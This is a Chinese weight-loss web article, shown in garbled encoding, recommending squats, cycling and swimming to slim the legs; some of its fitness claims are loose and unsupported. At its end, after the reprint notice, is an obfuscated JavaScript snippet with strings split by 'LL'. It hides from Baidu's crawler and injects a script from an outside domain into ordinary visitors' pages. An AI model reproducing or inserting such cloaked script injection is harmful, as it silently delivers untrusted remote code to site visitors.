當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

瘦腿體育運(yùn)動(dòng)有哪些

2017-04-22 10:38:53  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):對(duì)經(jīng)常鍛煉身體的人們來(lái)說(shuō),身材都是很不錯(cuò)的,由此可見(jiàn)運(yùn)動(dòng)是瘦身的最佳方法。有些人上半身很標(biāo)準(zhǔn),但是卻存在腿粗的問(wèn)題,還是很令人苦惱

對(duì)經(jīng)常鍛煉身體的人們來(lái)說(shuō),身材都是很不錯(cuò)的,由此可見(jiàn)運(yùn)動(dòng)是瘦身的最佳方法。有些人上半身很標(biāo)準(zhǔn),但是卻存在腿粗的問(wèn)題,還是很令人苦惱的。其實(shí)只要能夠制定一個(gè)長(zhǎng)期的運(yùn)動(dòng)方案,每天抽出時(shí)間來(lái)滿足一定的運(yùn)動(dòng)量,效果還是很不錯(cuò)的,那么瘦腿體育運(yùn)動(dòng)有哪些?

一、下蹲是鍛煉下身的好辦法,而且下蹲能夠明顯改善梨形身材,MM們可以邊看電視邊進(jìn)行濾動(dòng)。針對(duì)不同瘦腿部位可以采取基本的站立、腳尖略微向內(nèi)站立、向外站立的姿勢(shì),對(duì)縮緊腿部外側(cè)肌肉、內(nèi)側(cè)肌肉有顯著效果!但是一定要堅(jiān)持,一次要堅(jiān)持20~30分鐘左右,不然只會(huì)前功盡棄,可能開(kāi)始練習(xí)的時(shí)候會(huì)覺(jué)得肌肉不斷的抽搐,而且肌肉酸痛,但是這只是暫時(shí)的。

二、騎自行車(chē)是一項(xiàng)有氧運(yùn)動(dòng),而對(duì)于瘦腿還具有良好的效果。騎自行車(chē)能夠使到腿部曲線修復(fù),延緩?fù)炔考∪獾男纬?。如果每天一個(gè)小時(shí),專(zhuān)門(mén)練習(xí)坡多的路段。爬坡頻率提高,這樣2個(gè)月下來(lái),你的雙腿就會(huì)變得瘦長(zhǎng),但是記住運(yùn)動(dòng)完后,一定時(shí)間內(nèi)不能坐,盡量站。站到汗流得差不多就可以了。

三、人在游泳時(shí),通常會(huì)利用水的浮力俯臥或仰臥于水中,全身松弛而舒展,使身體得到全面、勻稱、協(xié)調(diào)的發(fā)展,使肌肉線條流暢。在水中濾動(dòng)由于減少了地面運(yùn)動(dòng)時(shí)地對(duì)骨骼的沖擊新,降低了骨骼的老損機(jī)率,使骨關(guān)節(jié)不易變形。水的阻力可增加人的運(yùn)動(dòng)強(qiáng)度,但這種強(qiáng)度,又有別于陸地上的器械訓(xùn)練,是很柔和的,訓(xùn)練的強(qiáng)度又很容易控制在有氧域之內(nèi),不會(huì)長(zhǎng)出很生硬的肌肉塊,可以使全身的線條流暢,優(yōu)美。所以對(duì)于要在水中保持運(yùn)動(dòng)的雙腿,作用特別大,當(dāng)然大家需要游泳之前一定要做足準(zhǔn)備運(yùn)動(dòng)哦。

通過(guò)上面的介紹,大家對(duì)瘦腿體育運(yùn)動(dòng)有哪些也都很清楚了。每一種運(yùn)動(dòng)方式都有屬于自己的特點(diǎn),因此可以根據(jù)自己的喜好來(lái)選擇。其實(shí)強(qiáng)度越大的運(yùn)動(dòng)方式,起到的效果就會(huì)越好。而且運(yùn)動(dòng)期間也需要保證充足的營(yíng)養(yǎng)成分,才能保障健康。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}